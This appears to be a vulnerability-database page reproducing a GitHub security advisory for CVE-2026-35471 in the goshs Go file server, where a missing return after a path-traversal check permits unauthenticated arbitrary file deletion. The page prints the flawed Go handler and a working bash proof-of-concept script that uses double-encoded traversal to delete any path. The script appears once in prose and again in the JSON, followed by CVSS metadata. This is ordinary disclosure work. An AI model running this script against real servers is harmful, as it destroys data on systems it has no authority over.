GHSA-6QCC-6Q27-WHP8
Vulnerability from github – Published: 2026-04-03 21:58 – Updated: 2026-04-07 14:19Summary
deleteFile()missing return after path traversal check |httpserver/handler.go:645-671
The finding affects the default configuration, no flags or authentication required.
Details
File: httpserver/handler.go:645-671
Trigger: GET /<path>?delete (handler.go:157-160 dispatches to deleteFile)
The function detects .. in the decoded path but does not return.
func (fs *FileServer) deleteFile(w http.ResponseWriter, req *http.Request) {
upath := filepath.FromSlash(filepath.Clean("/" + strings.Trim(req.URL.Path, "/")))
fileCleaned, _ := url.QueryUnescape(upath)
if strings.Contains(fileCleaned, "..") {
w.WriteHeader(500)
_, err := w.Write([]byte("Cannot delete file"))
if err != nil {
logger.Errorf("error writing answer to client: %+v", err)
}
// BUG: no return, falls through to os.RemoveAll
}
deletePath := filepath.Join(fs.Webroot, fileCleaned)
err := os.RemoveAll(deletePath) // always executes
Root causes:
Missing return after the guard makes the check dead code
Impact: Unauthenticated arbitrary file/directory deletion.
PoCs:
#!/usr/bin/env bash
# Delete an arbitrary file/directory on a running goshs instance.
# Usage: ./arbitrary_delete.sh <host> <port> <absolute-path-to-delete>
set -euo pipefail
HOST="${1:?Usage: $0 <host> <port> <absolute-path-to-delete>}"
PORT="${2:?Usage: $0 <host> <port> <absolute-path-to-delete>}"
TARGET="${3:?Usage: $0 <host> <port> <absolute-path-to-delete>}"
# Double-encode ".." => %252e%252e
# We don't know the webroot depth, so use 16 levels (covers most paths).
TRAVERSAL=""
for _ in $(seq 1 16); do
TRAVERSAL="${TRAVERSAL}%252e%252e/"
done
# Strip leading / from target and URL-encode any special chars
TARGET_REL="${TARGET#/}"
ENCODED_TARGET=$(python3 -c "import urllib.parse; print(urllib.parse.quote('$TARGET_REL', safe='/'))")
URL="http://${HOST}:${PORT}/${TRAVERSAL}${ENCODED_TARGET}?delete"
echo "[*] Target: ${TARGET}"
echo "[*] Request: GET ${URL}"
echo ""
HTTP_CODE=$(curl -s -o /dev/null -w "%{http_code}" "$URL")
echo "[*] HTTP ${HTTP_CODE}"
To execute it: ./arbitrary_delete.sh 10.1.2.2 8000 /tmp/canary
Recommendations
Checking that the targeted file is part of the webroot could prevent these attacks. Also, ensure that the method return is called after every error response.
{
"affected": [
{
"package": {
"ecosystem": "Go",
"name": "github.com/patrickhener/goshs"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "1.1.5-0.20260401172448-237f3af891a9"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-35471"
],
"database_specific": {
"cwe_ids": [
"CWE-22"
],
"github_reviewed": true,
"github_reviewed_at": "2026-04-03T21:58:47Z",
"nvd_published_at": "2026-04-06T22:16:23Z",
"severity": "CRITICAL"
},
"details": "### Summary\n* `deleteFile()` missing return after path traversal check | `httpserver/handler.go:645-671`\n\nThe finding affects the default configuration, no flags or authentication required.\n\n### Details\n\n**File:** `httpserver/handler.go:645-671`\n**Trigger:** `GET /\u003cpath\u003e?delete` (handler.go:157-160 dispatches to `deleteFile`)\n\nThe function detects `..` in the decoded path but does not `return`.\n\n```go\nfunc (fs *FileServer) deleteFile(w http.ResponseWriter, req *http.Request) {\n upath := filepath.FromSlash(filepath.Clean(\"/\" + strings.Trim(req.URL.Path, \"/\")))\n\n fileCleaned, _ := url.QueryUnescape(upath)\n if strings.Contains(fileCleaned, \"..\") {\n w.WriteHeader(500)\n _, err := w.Write([]byte(\"Cannot delete file\"))\n if err != nil {\n logger.Errorf(\"error writing answer to client: %+v\", err)\n }\n // BUG: no return, falls through to os.RemoveAll\n }\n\n deletePath := filepath.Join(fs.Webroot, fileCleaned)\n err := os.RemoveAll(deletePath) // always executes\n```\n\n**Root causes:**\nMissing `return` after the guard makes the check dead code\n\n**Impact:** Unauthenticated arbitrary file/directory deletion.\n\n**PoCs:**\n```bash\n#!/usr/bin/env bash\n# Delete an arbitrary file/directory on a running goshs instance.\n# Usage: ./arbitrary_delete.sh \u003chost\u003e \u003cport\u003e \u003cabsolute-path-to-delete\u003e\n\nset -euo pipefail\n\nHOST=\"${1:?Usage: $0 \u003chost\u003e \u003cport\u003e \u003cabsolute-path-to-delete\u003e}\"\nPORT=\"${2:?Usage: $0 \u003chost\u003e \u003cport\u003e \u003cabsolute-path-to-delete\u003e}\"\nTARGET=\"${3:?Usage: $0 \u003chost\u003e \u003cport\u003e \u003cabsolute-path-to-delete\u003e}\"\n\n# Double-encode \"..\" =\u003e %252e%252e\n# We don\u0027t know the webroot depth, so use 16 levels (covers most paths).\nTRAVERSAL=\"\"\nfor _ in $(seq 1 16); do\n TRAVERSAL=\"${TRAVERSAL}%252e%252e/\"\ndone\n\n# Strip leading / from target and URL-encode any special chars\nTARGET_REL=\"${TARGET#/}\"\nENCODED_TARGET=$(python3 -c \"import urllib.parse; print(urllib.parse.quote(\u0027$TARGET_REL\u0027, safe=\u0027/\u0027))\")\n\nURL=\"http://${HOST}:${PORT}/${TRAVERSAL}${ENCODED_TARGET}?delete\"\n\necho \"[*] Target: ${TARGET}\"\necho \"[*] Request: GET ${URL}\"\necho \"\"\n\nHTTP_CODE=$(curl -s -o /dev/null -w \"%{http_code}\" \"$URL\")\n\necho \"[*] HTTP ${HTTP_CODE}\"\n```\n\nTo execute it: `./arbitrary_delete.sh 10.1.2.2 8000 /tmp/canary`\n\n---\n\n## Recommendations\n\nChecking that the targeted file is part of the webroot could prevent these attacks. Also, ensure that the method `return` is called after every error response.",
"id": "GHSA-6qcc-6q27-whp8",
"modified": "2026-04-07T14:19:34Z",
"published": "2026-04-03T21:58:47Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/patrickhener/goshs/security/advisories/GHSA-6qcc-6q27-whp8"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-35471"
},
{
"type": "WEB",
"url": "https://github.com/patrickhener/goshs/commit/237f3af891a90df9b903b85f1cd3438040ca261a"
},
{
"type": "PACKAGE",
"url": "https://github.com/patrickhener/goshs"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
],
"summary": "goshs: Improper Limitation of a Pathname to a Restricted Directory (Path Traversal)"
}
Drag nodes to arrange them. Double-click a related vulnerability to open it, or a source to visit its link. The Physics button on the left tunes the layout and the simulation; the legend at the bottom left hides or shows nodes by kind and by sighting type.
Sightings
| Author | Source | Type | Date | Other |
|---|
Nomenclature
- Seen: The vulnerability was mentioned, discussed, or observed by the user.
- Confirmed: The vulnerability has been validated from an analyst's perspective.
- Published Proof of Concept: A public proof of concept is available for this vulnerability.
- Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
- Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
- Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
- Not confirmed: The user expressed doubt about the validity of the vulnerability.
- Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.
Vulnerability timeline
Sightings and recorded dates, grouped by day · UTC
How durations are calculated
Following the VTEM framework (Black Hat USA 2015), time to patch starts when the vendor or a coordinator was informed, total time to patch at discovery, and disclosure to patch at public disclosure; vendor response time runs from the report to its acknowledgement. Time to exploit and time unpatched start at the earliest discovery or report, falling back to public disclosure. Unpatched time ends at the first recorded patch, or the calculation time when no patch is recorded. Exploitation to patch shows the interval between those two events; a published proof of concept is a public exploit, not exploitation.
Each result shows its source dates. A negative interval means the end event came first; when date-only inputs leave the order open, the result says so. Date-only inputs are approximate. The earliest evidence wins: KEV report dates and sightings are labelled as such. Records describing another vulnerability are listed but never calculated from, and a PoC alone does not establish exploitation. Missing patch evidence does not prove that no patch exists. Filters below change the event list only.
Loading timeline…
The approach is described in our paper Mapping CVEs to MITRE ATT&CK Techniques: A Curated Gold-Set Classifier and the Limits of LLM-Assisted Label Expansion.
Browse all ATT&CK techniques and the vulnerabilities related to each.
Related by attack behaviour
Vulnerabilities whose description is nearest to this one in the vector space of the CIRCL/vulnerability-attack-technique-biencoder model. This is a similarity search over the bi-encoder space (plain cosine), not a classification, and it has no measured accuracy.